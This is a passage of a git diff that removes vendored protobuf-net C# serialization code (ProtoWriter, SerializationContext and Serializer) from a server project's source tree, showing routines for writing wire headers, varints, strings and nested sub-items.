throw new ArgumentNullException("writer"); - if (writer.wireType != WireType.None) - throw new InvalidOperationException("Cannot write a " + wireType.ToString() - + " header until the " + writer.wireType.ToString() + - " data has been written"); - if (fieldNumber < 0) throw new ArgumentOutOfRangeException("fieldNumber"); -#if DEBUG - switch (wireType) - { - // validate requested header-type - case WireType.Fixed32: - case WireType.Fixed64: - case WireType.String: - case WireType.StartGroup: - case WireType.SignedVariant: - case WireType.Variant: - break; // fine - case WireType.None: - case WireType.EndGroup: - default: - throw new ArgumentException("Invalid wire-type: " + wireType.ToString(), "wireType"); - } -#endif - if (writer.packedFieldNumber == 0) - { - writer.fieldNumber = fieldNumber; - writer.wireType = wireType; - WriteHeaderCore(fieldNumber, wireType, writer); - } - else if (writer.packedFieldNumber == fieldNumber) - { - // we'll set things up, but note we *don't* actually write the header here - switch (wireType) - { - case WireType.Fixed32: - case WireType.Fixed64: - case WireType.Variant: - case WireType.SignedVariant: - break; // fine - default: - throw new InvalidOperationException("Wire-type cannot be encoded as packed: " + - wireType.ToString()); - } - writer.fieldNumber = fieldNumber; - writer.wireType = wireType; - } - else - { - throw new InvalidOperationException("Field mismatch during packed encoding; expected " + - writer.packedFieldNumber.ToString() + " but received " + - fieldNumber.ToString()); - } - } - - internal static void WriteHeaderCore(int fieldNumber, WireType wireType, ProtoWriter writer) - { - uint header = (((uint) fieldNumber) << 3) - | (((uint) wireType) & 7); - WriteUInt32Variant(header, writer); - } - - /// - /// Writes a byte-array to the stream; supported wire-types: String - /// - public static void WriteBytes(byte[] data, ProtoWriter writer) - { - if (data == null) throw new ArgumentNullException("data"); - ProtoWriter.WriteBytes(data, 0, data.Length, writer); - } - - /// - /// Writes a byte-array to the stream; supported wire-types: String - /// - public static void WriteBytes(byte[] data, int offset, int length, ProtoWriter writer) - { - if (data == null) throw new ArgumentNullException("data"); - if (writer == null) throw new ArgumentNullException("writer"); - switch (writer.wireType) - { - case WireType.Fixed32: - if (length != 4) throw new ArgumentException("length"); - goto CopyFixedLength; // ugly but effective - case WireType.Fixed64: - if (length != 8) throw new ArgumentException("length"); - goto CopyFixedLength; // ugly but effective - case WireType.String: - WriteUInt32Variant((uint) length, writer); - writer.wireType = WireType.None; - if (length == 0) return; - if (writer.flushLock != 0 || length <= writer.ioBuffer.Length) // write to the buffer - { - goto CopyFixedLength; // ugly but effective - } - // writing data that is bigger than the buffer (and the buffer - // isn't currently locked due to a sub-object needing the size backfilled) - Flush(writer); // commit any existing data from the buffer - // now just write directly to the underlying stream - writer.dest.Write(data, offset, length); - writer.position += length; // since we've flushed offset etc is 0, and remains - // zero since we're writing directly to the stream - return; - } - throw CreateException(writer); - CopyFixedLength: // no point duplicating this lots of times, and don't really want another stackframe - DemandSpace(length, writer); - Helpers.BlockCopy(data, offset, writer.ioBuffer, writer.ioIndex, length); - IncrementedAndReset(length, writer); - } - - private static void CopyRawFromStream(Stream source, ProtoWriter writer) - { - byte[] buffer = writer.ioBuffer; - int space = buffer.Length - writer.ioIndex, bytesRead = 1; // 1 here to spoof case where already full - - // try filling the buffer first - while (space > 0 && (bytesRead = source.Read(buffer, writer.ioIndex, space)) > 0) - { - writer.ioIndex += bytesRead; - writer.position += bytesRead; - space -= bytesRead; - } - if (bytesRead <= 0) return; // all done using just the buffer; stream exhausted - - // at this point the stream still has data, but buffer is full; - if (writer.flushLock == 0) - { - Flush(writer); - while ((bytesRead = source.Read(buffer, 0, buffer.Length)) > 0) - { - writer.dest.Write(buffer, 0, bytesRead); - writer.position += bytesRead; - } - } - else - { - do - { - // need more space; resize (double) as necessary, - // requesting a reasonable minimum chunk each time - // (128 is the minimum; there may actually be much - // more space than this in the buffer) - DemandSpace(128, writer); - if ((bytesRead = source.Read(writer.ioBuffer, writer.ioIndex, - writer.ioBuffer.Length - writer.ioIndex)) <= 0) break; - writer.position += bytesRead; - writer.ioIndex += bytesRead; - } while (true); - } - } - - private static void IncrementedAndReset(int length, ProtoWriter writer) - { - Helpers.DebugAssert(length >= 0); - writer.ioIndex += length; - writer.position += length; - writer.wireType = WireType.None; - } - - private int depth = 0; - private const int RecursionCheckDepth = 25; - - /// - /// Indicates the start of a nested record. - /// - /// The instance to write. - /// The destination. - /// A token representing the state of the stream; this token is given to EndSubItem. - public static SubItemToken StartSubItem(object instance, ProtoWriter writer) - { - return StartSubItem(instance, writer, false); - } - - private MutableList recursionStack; - - private void CheckRecursionStackAndPush(object instance) - { - int hitLevel; - if (recursionStack == null) - { - recursionStack = new MutableList(); - } - else if (instance != null && (hitLevel = recursionStack.IndexOfReference(instance)) >= 0) - { -#if DEBUG - Helpers.DebugWriteLine("Stack:"); - foreach (object obj in recursionStack) - { - Helpers.DebugWriteLine(obj == null ? "" : obj.ToString()); - } - Helpers.DebugWriteLine(instance == null ? "" : instance.ToString()); -#endif - throw new ProtoException("Possible recursion detected (offset: " + - (recursionStack.Count - hitLevel).ToString() + " level(s)): " + - instance.ToString()); - } - recursionStack.Add(instance); - } - - private void PopRecursionStack() - { - recursionStack.RemoveLast(); - } - - private static SubItemToken StartSubItem(object instance, ProtoWriter writer, bool allowFixed) - { - if (writer == null) throw new ArgumentNullException("writer"); - if (++writer.depth > RecursionCheckDepth) - { - writer.CheckRecursionStackAndPush(instance); - } - if (writer.packedFieldNumber != 0) - throw new InvalidOperationException("Cannot begin a sub-item while performing packed encoding"); - switch (writer.wireType) - { - case WireType.StartGroup: - writer.wireType = WireType.None; - return new SubItemToken(-writer.fieldNumber); - case WireType.String: -#if DEBUG - if (writer.model != null && writer.model.ForwardsOnly) - { - throw new ProtoException("Should not be buffering data"); - } -#endif - writer.wireType = WireType.None; - DemandSpace(32, writer); // make some space in anticipation... - writer.flushLock++; - writer.position++; - return new SubItemToken(writer.ioIndex++); // leave 1 space (optimistic) for length - case WireType.Fixed32: - { - if (!allowFixed) throw CreateException(writer); - DemandSpace(32, writer); // make some space in anticipation... - writer.flushLock++; - SubItemToken token = new SubItemToken(writer.ioIndex); - ProtoWriter.IncrementedAndReset(4, writer); // leave 4 space (rigid) for length - return token; - } - default: - throw CreateException(writer); - } - } - - /// - /// Indicates the end of a nested record. - /// - /// The token obtained from StartubItem. - /// The destination. - public static void EndSubItem(SubItemToken token, ProtoWriter writer) - { - EndSubItem(token, writer, PrefixStyle.Base128); - } - - private static void EndSubItem(SubItemToken token, ProtoWriter writer, PrefixStyle style) - { - if (writer == null) throw new ArgumentNullException("writer"); - if (writer.wireType != WireType.None) - { - throw CreateException(writer); - } - int value = token.value; - if (writer.depth <= 0) throw CreateException(writer); - if (writer.depth-- > RecursionCheckDepth) - { - writer.PopRecursionStack(); - } - writer.packedFieldNumber = 0; // ending the sub-item always wipes packed encoding - if (value < 0) - { - // group - very simple append - WriteHeaderCore(-value, WireType.EndGroup, writer); - writer.wireType = WireType.None; - return; - } - - // so we're backfilling the length into an existing sequence - int len; - switch (style) - { - case PrefixStyle.Fixed32: - len = (int) ((writer.ioIndex - value) - 4); - ProtoWriter.WriteInt32ToBuffer(len, writer.ioBuffer, value); - break; - case PrefixStyle.Fixed32BigEndian: - len = (int) ((writer.ioIndex - value) - 4); - byte[] buffer = writer.ioBuffer; - ProtoWriter.WriteInt32ToBuffer(len, buffer, value); - // and swap the byte order - byte b = buffer[value]; - buffer[value] = buffer[value + 3]; - buffer[value + 3] = b; - b = buffer[value + 1]; - buffer[value + 1] = buffer[value + 2]; - buffer[value + 2] = b; - break; - case PrefixStyle.Base128: - // string - complicated because we only reserved one byte; - // if the prefix turns out to need more than this then - // we need to shuffle the existing data - len = (int) ((writer.ioIndex - value) - 1); - int offset = 0; - uint tmp = (uint) len; - while ((tmp >>= 7) != 0) offset++; - if (offset == 0) - { - writer.ioBuffer[value] = (byte) (len & 0x7F); - } - else - { - DemandSpace(offset, writer); - byte[] blob = writer.ioBuffer; - Helpers.BlockCopy(blob, value + 1, blob, value + 1 + offset, len); - tmp = (uint) len; - do - { - blob[value++] = (byte) ((tmp & 0x7F) | 0x80); - } while ((tmp >>= 7) != 0); - blob[value - 1] = (byte) (blob[value - 1] & ~0x80); - writer.position += offset; - writer.ioIndex += offset; - } - break; - default: - throw new ArgumentOutOfRangeException("style"); - } - // and this object is no longer a blockage - also flush if sensible - const int ADVISORY_FLUSH_SIZE = 1024; - if (--writer.flushLock == 0 && writer.ioIndex >= ADVISORY_FLUSH_SIZE) - { - ProtoWriter.Flush(writer); - } - } - - /// - /// Creates a new writer against a stream - /// - /// The destination stream - /// The model to use for serialization; this can be null, but this will impair the ability to serialize sub-objects - /// Additional context about this serialization operation - public ProtoWriter(Stream dest, TypeModel model, SerializationContext context) - { - if (dest == null) throw new ArgumentNullException("dest"); - if (!dest.CanWrite) throw new ArgumentException("Cannot write to stream", "dest"); - //if (model == null) throw new ArgumentNullException("model"); - this.dest = dest; - this.ioBuffer = BufferPool.GetBuffer(); - this.model = model; - this.wireType = WireType.None; - if (context == null) - { - context = SerializationContext.Default; - } - else - { - context.Freeze(); - } - this.context = context; - } - - private readonly SerializationContext context; - - /// - /// Addition information about this serialization operation. - /// - public SerializationContext Context - { - get { return context; } - } - - /// - /// Disposes and cleans up all unused resources that is used by the object. - /// - void IDisposable.Dispose() - { - Dispose(); - } - - /// - /// Releases some resources of the ProtoWriter. Optionally dispose of it all, including the underlying stream. - /// - public void Dispose() - { - if (dest != null) - { - Flush(this); - dest.Dispose(); - dest = null; - } - model = null; - BufferPool.ReleaseBufferToPool(ref ioBuffer); - } - - private byte[] ioBuffer; - private int ioIndex; - // note that this is used by some of the unit tests and should not be removed - internal static int GetPosition(ProtoWriter writer) - { - return writer.position; - } - - private int position; - - private static void DemandSpace(int required, ProtoWriter writer) - { - // check for enough space - if ((writer.ioBuffer.Length - writer.ioIndex) < required) - { - if (writer.flushLock == 0) - { - Flush(writer); // try emptying the buffer - if ((writer.ioBuffer.Length - writer.ioIndex) >= required) return; - } - // either can't empty the buffer, or that didn't help; need more space - BufferPool.ResizeAndFlushLeft(ref writer.ioBuffer, required + writer.ioIndex, 0, writer.ioIndex); - } - } - - /// - /// Flushes data to the underlying stream, and releases any resources. The underlying stream is *not* disposed - /// by this operation. - /// - public void Close() - { - if (depth != 0 || flushLock != 0) - throw new InvalidOperationException("Unable to close stream in an incomplete state"); - Dispose(); - } - - internal void CheckDepthFlushlock() - { - if (depth != 0 || flushLock != 0) - throw new InvalidOperationException("The writer is in an incomplete state"); - } - - /// - /// Get the TypeModel associated with this writer - /// - public TypeModel Model - { - get { return model; } - } - - /// - /// Writes any buffered data (if possible) to the underlying stream. - /// - /// The writer to flush - /// It is not always possible to fully flush, since some sequences - /// may require values to be back-filled into the byte-stream. - internal static void Flush(ProtoWriter writer) - { - if (writer.flushLock == 0 && writer.ioIndex != 0) - { - writer.dest.Write(writer.ioBuffer, 0, writer.ioIndex); - writer.ioIndex = 0; - } - } - - /// - /// Writes an unsigned 32-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64 - /// - private static void WriteUInt32Variant(uint value, ProtoWriter writer) - { - DemandSpace(5, writer); - int count = 0; - do - { - writer.ioBuffer[writer.ioIndex++] = (byte) ((value & 0x7F) | 0x80); - count++; - } while ((value >>= 7) != 0); - writer.ioBuffer[writer.ioIndex - 1] &= 0x7F; - writer.position += count; - } - - private static readonly UTF8Encoding encoding = new UTF8Encoding(); - - internal static uint Zig(int value) - { - return (uint) ((value << 1) ^ (value >> 31)); - } - - internal static ulong Zig(long value) - { - return (ulong) ((value << 1) ^ (value >> 63)); - } - - private static void WriteUInt64Variant(ulong value, ProtoWriter writer) - { - DemandSpace(10, writer); - int count = 0; - do - { - writer.ioBuffer[writer.ioIndex++] = (byte) ((value & 0x7F) | 0x80); - count++; - } while ((value >>= 7) != 0); - writer.ioBuffer[writer.ioIndex - 1] &= 0x7F; - writer.position += count; - } - - /// - /// Writes a string to the stream; supported wire-types: String - /// - public static void WriteString(string value, ProtoWriter writer) - { - if (writer == null) throw new ArgumentNullException("writer"); - if (writer.wireType != WireType.String) throw CreateException(writer); - if (value == null) throw new ArgumentNullException("value"); // written header; now what? - int len = value.Length; - if (len == 0) - { - WriteUInt32Variant(0, writer); - writer.wireType = WireType.None; - return; // just a header - } -#if MF - byte[] bytes = encoding.GetBytes(value); - int actual = bytes.Length; - writer.WriteUInt32Variant((uint)actual); - writer.Ensure(actual); - Helpers.BlockCopy(bytes, 0, writer.ioBuffer, writer.ioIndex, actual); -#else - int predicted = encoding.GetByteCount(value); - WriteUInt32Variant((uint) predicted, writer); - DemandSpace(predicted, writer); - int actual = encoding.GetBytes(value, 0, value.Length, writer.ioBuffer, writer.ioIndex); - Helpers.DebugAssert(predicted == actual); -#endif - IncrementedAndReset(actual, writer); - } - - /// - /// Writes an unsigned 64-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64 - /// - public static void WriteUInt64(ulong value, ProtoWriter writer) - { - if (writer == null) throw new ArgumentNullException("writer"); - switch (writer.wireType) - { - case WireType.Fixed64: - ProtoWriter.WriteInt64((long) value, writer); - return; - case WireType.Variant: - WriteUInt64Variant(value, writer); - writer.wireType = WireType.None; - return; - case WireType.Fixed32: - checked - { - ProtoWriter.WriteUInt32((uint) value, writer); - } - return; - default: - throw CreateException(writer); - } - } - - /// - /// Writes a signed 64-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64, SignedVariant - /// - public static void WriteInt64(long value, ProtoWriter writer) - { - byte[] buffer; - int index; - if (writer == null) throw new ArgumentNullException("writer"); - switch (writer.wireType) - { - case WireType.Fixed64: - DemandSpace(8, writer); - buffer = writer.ioBuffer; - index = writer.ioIndex; - buffer[index] = (byte) value; - buffer[index + 1] = (byte) (value >> 8); - buffer[index + 2] = (byte) (value >> 16); - buffer[index + 3] = (byte) (value >> 24); - buffer[index + 4] = (byte) (value >> 32); - buffer[index + 5] = (byte) (value >> 40); - buffer[index + 6] = (byte) (value >> 48); - buffer[index + 7] = (byte) (value >> 56); - IncrementedAndReset(8, writer); - return; - case WireType.SignedVariant: - WriteUInt64Variant(Zig(value), writer); - writer.wireType = WireType.None; - return; - case WireType.Variant: - if (value >= 0) - { - WriteUInt64Variant((ulong) value, writer); - writer.wireType = WireType.None; - } - else - { - DemandSpace(10, writer); - buffer = writer.ioBuffer; - index = writer.ioIndex; - buffer[index] = (byte) (value | 0x80); - buffer[index + 1] = (byte) ((int) (value >> 7) | 0x80); - buffer[index + 2] = (byte) ((int) (value >> 14) | 0x80); - buffer[index + 3] = (byte) ((int) (value >> 21) | 0x80); - buffer[index + 4] = (byte) ((int) (value >> 28) | 0x80); - buffer[index + 5] = (byte) ((int) (value >> 35) | 0x80); - buffer[index + 6] = (byte) ((int) (value >> 42) | 0x80); - buffer[index + 7] = (byte) ((int) (value >> 49) | 0x80); - buffer[index + 8] = (byte) ((int) (value >> 56) | 0x80); - buffer[index + 9] = 0x01; // sign bit - IncrementedAndReset(10, writer); - } - return; - case WireType.Fixed32: - checked - { - WriteInt32((int) value, writer); - } - return; - default: - throw CreateException(writer); - } - } - - /// - /// Writes an unsigned 16-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64 - /// - public static void WriteUInt32(uint value, ProtoWriter writer) - { - if (writer == null) throw new ArgumentNullException("writer"); - switch (writer.wireType) - { - case WireType.Fixed32: - ProtoWriter.WriteInt32((int) value, writer); - return; - case WireType.Fixed64: - ProtoWriter.WriteInt64((int) value, writer); - return; - case WireType.Variant: - WriteUInt32Variant(value, writer); - writer.wireType = WireType.None; - return; - default: - throw CreateException(writer); - } - } - - - /// - /// Writes a signed 16-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64, SignedVariant - /// - public static void WriteInt16(short value, ProtoWriter writer) - { - ProtoWriter.WriteInt32(value, writer); - } - - /// - /// Writes an unsigned 16-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64 - /// - public static void WriteUInt16(ushort value, ProtoWriter writer) - { - ProtoWriter.WriteUInt32(value, writer); - } - - /// - /// Writes an unsigned 8-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64 - /// - public static void WriteByte(byte value, ProtoWriter writer) - { - ProtoWriter.WriteUInt32(value, writer); - } - - /// - /// Writes a signed 8-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64, SignedVariant - /// - public static void WriteSByte(sbyte value, ProtoWriter writer) - { - ProtoWriter.WriteInt32(value, writer); - } - - private static void WriteInt32ToBuffer(int value, byte[] buffer, int index) - { - buffer[index] = (byte) value; - buffer[index + 1] = (byte) (value >> 8); - buffer[index + 2] = (byte) (value >> 16); - buffer[index + 3] = (byte) (value >> 24); - } - - /// - /// Writes a signed 32-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64, SignedVariant - /// - public static void WriteInt32(int value, ProtoWriter writer) - { - byte[] buffer; - int index; - if (writer == null) throw new ArgumentNullException("writer"); - switch (writer.wireType) - { - case WireType.Fixed32: - DemandSpace(4, writer); - WriteInt32ToBuffer(value, writer.ioBuffer, writer.ioIndex); - IncrementedAndReset(4, writer); - return; - case WireType.Fixed64: - DemandSpace(8, writer); - buffer = writer.ioBuffer; - index = writer.ioIndex; - buffer[index] = (byte) value; - buffer[index + 1] = (byte) (value >> 8); - buffer[index + 2] = (byte) (value >> 16); - buffer[index + 3] = (byte) (value >> 24); - buffer[index + 4] = buffer[index + 5] = - buffer[index + 6] = buffer[index + 7] = 0; - IncrementedAndReset(8, writer); - return; - case WireType.SignedVariant: - WriteUInt32Variant(Zig(value), writer); - writer.wireType = WireType.None; - return; - case WireType.Variant: - if (value >= 0) - { - WriteUInt32Variant((uint) value, writer); - writer.wireType = WireType.None; - } - else - { - DemandSpace(10, writer); - buffer = writer.ioBuffer; - index = writer.ioIndex; - buffer[index] = (byte) (value | 0x80); - buffer[index + 1] = (byte) ((value >> 7) | 0x80); - buffer[index + 2] = (byte) ((value >> 14) | 0x80); - buffer[index + 3] = (byte) ((value >> 21) | 0x80); - buffer[index + 4] = (byte) ((value >> 28) | 0x80); - buffer[index + 5] = buffer[index + 6] = - buffer[index + 7] = buffer[index + 8] = (byte) 0xFF; - buffer[index + 9] = (byte) 0x01; - IncrementedAndReset(10, writer); - } - return; - default: - throw CreateException(writer); - } - } - - /// - /// Writes a double-precision number to the stream; supported wire-types: Fixed32, Fixed64 - /// - public -#if !FEAT_SAFE - static -#endif - unsafe void WriteDouble(double value, ProtoWriter writer) - { - if (writer == null) throw new ArgumentNullException("writer"); - switch (writer.wireType) - { - case WireType.Fixed32: - float f = (float) value; - if (Helpers.IsInfinity(f) - && !Helpers.IsInfinity(value)) - { - throw new OverflowException(); - } - ProtoWriter.WriteSingle(f, writer); - return; - case WireType.Fixed64: -#if FEAT_SAFE - ProtoWriter.WriteInt64(BitConverter.ToInt64(BitConverter.GetBytes(value), 0), writer); -#else - ProtoWriter.WriteInt64(*(long*) &value, writer); -#endif - return; - default: - throw CreateException(writer); - } - } - - /// - /// Writes a single-precision number to the stream; supported wire-types: Fixed32, Fixed64 - /// - public -#if !FEAT_SAFE - static -#endif - unsafe void WriteSingle(float value, ProtoWriter writer) - { - if (writer == null) throw new ArgumentNullException("writer"); - switch (writer.wireType) - { - case WireType.Fixed32: -#if FEAT_SAFE - ProtoWriter.WriteInt32(BitConverter.ToInt32(BitConverter.GetBytes(value), 0), writer); -#else - ProtoWriter.WriteInt32(*(int*) &value, writer); -#endif - return; - case WireType.Fixed64: - ProtoWriter.WriteDouble((double) value, writer); - return; - default: - throw CreateException(writer); - } - } - - /// - /// Throws an exception indicating that the given enum cannot be mapped to a serialized value. - /// - public static void ThrowEnumException(ProtoWriter writer, object enumValue) - { - if (writer == null) throw new ArgumentNullException("writer"); - string rhs = enumValue == null ? "" : (enumValue.GetType().FullName + "." + enumValue.ToString()); - throw new ProtoException("No wire-value is mapped to the enum " + rhs + " at position " + - writer.position.ToString()); - } - - // general purpose serialization exception message - internal static Exception CreateException(ProtoWriter writer) - { - if (writer == null) throw new ArgumentNullException("writer"); - return - new ProtoException("Invalid serialization operation with wire-type " + writer.wireType.ToString() + - " at position " + writer.position.ToString()); - } - - /// - /// Writes a boolean to the stream; supported wire-types: Variant, Fixed32, Fixed64 - /// - public static void WriteBoolean(bool value, ProtoWriter writer) - { - ProtoWriter.WriteUInt32(value ? (uint) 1 : (uint) 0, writer); - } - - /// - /// Copies any extension data stored for the instance to the underlying stream - /// - public static void AppendExtensionData(IExtensible instance, ProtoWriter writer) - { - if (instance == null) throw new ArgumentNullException("instance"); - if (writer == null) throw new ArgumentNullException("writer"); - // we expect the writer to be raw here; the extension data will have the - // header detail, so we'll copy it implicitly - if (writer.wireType != WireType.None) throw CreateException(writer); - - IExtension extn = instance.GetExtensionObject(false); - if (extn != null) - { - // unusually we *don't* want "using" here; the "finally" does that, with - // the extension object being responsible for disposal etc - Stream source = extn.BeginQuery(); - try - { - CopyRawFromStream(source, writer); - } - finally - { - extn.EndQuery(source); - } - } - } - - - private int packedFieldNumber; - - /// - /// Used for packed encoding; indicates that the next field should be skipped rather than - /// a field header written. Note that the field number must match, else an exception is thrown - /// when the attempt is made to write the (incorrect) field. The wire-type is taken from the - /// subsequent call to WriteFieldHeader. Only primitive types can be packed. - /// - public static void SetPackedField(int fieldNumber, ProtoWriter writer) - { - if (fieldNumber <= 0) throw new ArgumentOutOfRangeException("fieldNumber"); - if (writer == null) throw new ArgumentNullException("writer"); - writer.packedFieldNumber = fieldNumber; - } - - internal string SerializeType(System.Type type) - { - return TypeModel.SerializeType(model, type); - } - - /// - /// Specifies a known root object to use during reference-tracked serialization - /// - public void SetRootObject(object value) - { - NetCache.SetKeyedObject(NetObjectCache.Root, value); - } - - /// - /// Writes a Type to the stream, using the model's DynamicTypeFormatting if appropriate; supported wire-types: String - /// - public static void WriteType(System.Type value, ProtoWriter writer) - { - if (writer == null) throw new ArgumentNullException("writer"); - WriteString(writer.SerializeType(value), writer); - } - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/SerializationContext.cs b/Server/Core/ProtoBuf/SerializationContext.cs deleted file mode 100644 index b568e833..00000000 --- a/Server/Core/ProtoBuf/SerializationContext.cs +++ /dev/null @@ -1,96 +0,0 @@ -using System; - -namespace ProtoBuf -{ - /// - /// Additional information about a serialization operation - /// - public sealed class SerializationContext - { - private bool frozen; - - internal void Freeze() - { - frozen = true; - } - - private void ThrowIfFrozen() - { - if (frozen) - throw new InvalidOperationException("The serialization-context cannot be changed once it is in use"); - } - - private object context; - - /// - /// Gets or sets a user-defined object containing additional information about this serialization/deserialization operation. - /// - public object Context - { - get { return context; } - set - { - if (context != value) - { - ThrowIfFrozen(); - context = value; - } - } - } - - private static readonly SerializationContext @default; - - static SerializationContext() - { - @default = new SerializationContext(); - @default.Freeze(); - } - - /// - /// A default SerializationContext, with minimal information. - /// - internal static SerializationContext Default - { - get { return @default; } - } - -#if PLAT_BINARYFORMATTER || (SILVERLIGHT && NET_4_0) - -#if !(WINRT || PHONE7 || PHONE8) - private System.Runtime.Serialization.StreamingContextStates state = System.Runtime.Serialization.StreamingContextStates.Persistence; - /// - /// Gets or sets the source or destination of the transmitted data. - /// - public System.Runtime.Serialization.StreamingContextStates State - { - get { return state; } - set { if (state != value) { ThrowIfFrozen(); state = value; } } - } -#endif - /// - /// Convert a SerializationContext to a StreamingContext - /// - public static implicit operator System.Runtime.Serialization.StreamingContext(SerializationContext ctx) - { -#if WINRT || PHONE7 || PHONE8 - return new System.Runtime.Serialization.StreamingContext(); -#else - if (ctx == null) return new System.Runtime.Serialization.StreamingContext(System.Runtime.Serialization.StreamingContextStates.Persistence); - return new System.Runtime.Serialization.StreamingContext(ctx.state, ctx.context); -#endif - } - /// - /// Convert a StreamingContext to a SerializationContext - /// - public static implicit operator SerializationContext (System.Runtime.Serialization.StreamingContext ctx) - { - SerializationContext result = new SerializationContext(); -#if !(WINRT || PHONE7 || PHONE8) - result.Context = ctx.Context; - result.State = ctx.State; -#endif - return result; - } -#endif - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializer.cs b/Server/Core/ProtoBuf/Serializer.cs deleted file mode 100644 index 2436c3a5..00000000 --- a/Server/Core/ProtoBuf/Serializer.cs +++ /dev/null @@ -1,547 +0,0 @@ -using ProtoBuf.Meta; -using System; -using System.IO; -#if !NO_GENERICS -using System.Collections.Generic; -#endif -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf -{ - /// - /// Provides protocol-buffer serialization capability for concrete, attributed types. This - /// is a *default* model, but custom serializer models are also supported. - /// - /// - /// Protocol-buffer serialization is a compact binary format, designed to take - /// advantage of sparse data and knowledge of specific data types; it is also - /// extensible, allowing a type to be deserialized / merged even if some data is - /// not recognised. - /// - public -#if FX11 - sealed -#else - static -#endif - class Serializer - { -#if FX11 - private Serializer() { } // not a static class for C# 1.2 reasons -#endif -#if !NO_RUNTIME && !NO_GENERICS - /// - /// Suggest a .proto definition for the given type - /// - /// The type to generate a .proto definition for - /// The .proto definition as a string - public static string GetProto() - { - return RuntimeTypeModel.Default.GetSchema(RuntimeTypeModel.Default.MapType(typeof (T))); - } - - /// - /// Create a deep clone of the supplied instance; any sub-items are also cloned. - /// - public static T DeepClone(T instance) - { - return instance == null ? instance : (T) RuntimeTypeModel.Default.DeepClone(instance); - } - - /// - /// Applies a protocol-buffer stream to an existing instance. - /// - /// The type being merged. - /// The existing instance to be modified (can be null). - /// The binary stream to apply to the instance (cannot be null). - /// The updated instance; this may be different to the instance argument if - /// either the original instance was null, or the stream defines a known sub-type of the - /// original instance. - public static T Merge(Stream source, T instance) - { - return (T) RuntimeTypeModel.Default.Deserialize(source, instance, typeof (T)); - } - - /// - /// Creates a new instance from a protocol-buffer stream - /// - /// The type to be created. - /// The binary stream to apply to the new instance (cannot be null). - /// A new, initialized instance. - public static T Deserialize(Stream source) - { - return (T) RuntimeTypeModel.Default.Deserialize(source, null, typeof (T)); - } - - /// - /// Writes a protocol-buffer representation of the given instance to the supplied stream. - /// - /// The existing instance to be serialized (cannot be null). - /// The destination stream to write to. - public static void Serialize(Stream destination, T instance) - { - if (instance != null) - { - RuntimeTypeModel.Default.Serialize(destination, instance); - } - } - - /// - /// Serializes a given instance and deserializes it as a different type; - /// this can be used to translate between wire-compatible objects (where - /// two .NET types represent the same data), or to promote/demote a type - /// through an inheritance hierarchy. - /// - /// No assumption of compatibility is made between the types. - /// The type of the object being copied. - /// The type of the new object to be created. - /// The existing instance to use as a template. - /// A new instane of type TNewType, with the data from TOldType. - public static TTo ChangeType(TFrom instance) - { - using (MemoryStream ms = new MemoryStream()) - { - Serialize(ms, instance); - ms.Position = 0; - return Deserialize(ms); - } - } - -#if PLAT_BINARYFORMATTER && !(WINRT || PHONE8) - /// - /// Writes a protocol-buffer representation of the given instance to the supplied SerializationInfo. - /// - /// The type being serialized. - /// The existing instance to be serialized (cannot be null). - /// The destination SerializationInfo to write to. - public static void Serialize(System.Runtime.Serialization.SerializationInfo info, T instance) where T : class, System.Runtime.Serialization.ISerializable - { - Serialize(info, new System.Runtime.Serialization.StreamingContext(System.Runtime.Serialization.StreamingContextStates.Persistence), instance); - } - /// - /// Writes a protocol-buffer representation of the given instance to the supplied SerializationInfo. - /// - /// The type being serialized. - /// The existing instance to be serialized (cannot be null). - /// The destination SerializationInfo to write to. - /// Additional information about this serialization operation. - public static void Serialize(System.Runtime.Serialization.SerializationInfo info, System.Runtime.Serialization.StreamingContext context, T instance) where T : class, System.Runtime.Serialization.ISerializable - { - // note: also tried byte[]... it doesn't perform hugely well with either (compared to regular serialization) - if (info == null) throw new ArgumentNullException("info"); - if (instance == null) throw new ArgumentNullException("instance"); - if (instance.GetType() != typeof(T)) throw new ArgumentException("Incorrect type", "instance"); - using (MemoryStream ms = new MemoryStream()) - { - RuntimeTypeModel.Default.Serialize(ms, instance, context); - info.AddValue(ProtoBinaryField, ms.ToArray()); - } - } -#endif -#if PLAT_XMLSERIALIZER - /// - /// Writes a protocol-buffer representation of the given instance to the supplied XmlWriter. - /// - /// The type being serialized. - /// The existing instance to be serialized (cannot be null). - /// The destination XmlWriter to write to. - public static void Serialize(System.Xml.XmlWriter writer, T instance) where T : System.Xml.Serialization.IXmlSerializable - { - if (writer == null) throw new ArgumentNullException("writer"); - if (instance == null) throw new ArgumentNullException("instance"); - - using (MemoryStream ms = new MemoryStream()) - { - Serializer.Serialize(ms, instance); - writer.WriteBase64(ms.GetBuffer(), 0, (int)ms.Length); - } - } - /// - /// Applies a protocol-buffer from an XmlReader to an existing instance. - /// - /// The type being merged. - /// The existing instance to be modified (cannot be null). - /// The XmlReader containing the data to apply to the instance (cannot be null). - public static void Merge(System.Xml.XmlReader reader, T instance) where T : System.Xml.Serialization.IXmlSerializable - { - if (reader == null) throw new ArgumentNullException("reader"); - if (instance == null) throw new ArgumentNullException("instance"); - - const int LEN = 4096; - byte[] buffer = new byte[LEN]; - int read; - using (MemoryStream ms = new MemoryStream()) - { - int depth = reader.Depth; - while(reader.Read() && reader.Depth > depth) - { - if (reader.NodeType == System.Xml.XmlNodeType.Text) - { - while ((read = reader.ReadContentAsBase64(buffer, 0, LEN)) > 0) - { - ms.Write(buffer, 0, read); - } - if (reader.Depth <= depth) break; - } - } - ms.Position = 0; - Serializer.Merge(ms, instance); - } - } -#endif - - private const string ProtoBinaryField = "proto"; -#if PLAT_BINARYFORMATTER && !NO_GENERICS && !(WINRT || PHONE8) - /// - /// Applies a protocol-buffer from a SerializationInfo to an existing instance. - /// - /// The type being merged. - /// The existing instance to be modified (cannot be null). - /// The SerializationInfo containing the data to apply to the instance (cannot be null). - public static void Merge(System.Runtime.Serialization.SerializationInfo info, T instance) where T : class, System.Runtime.Serialization.ISerializable - { - 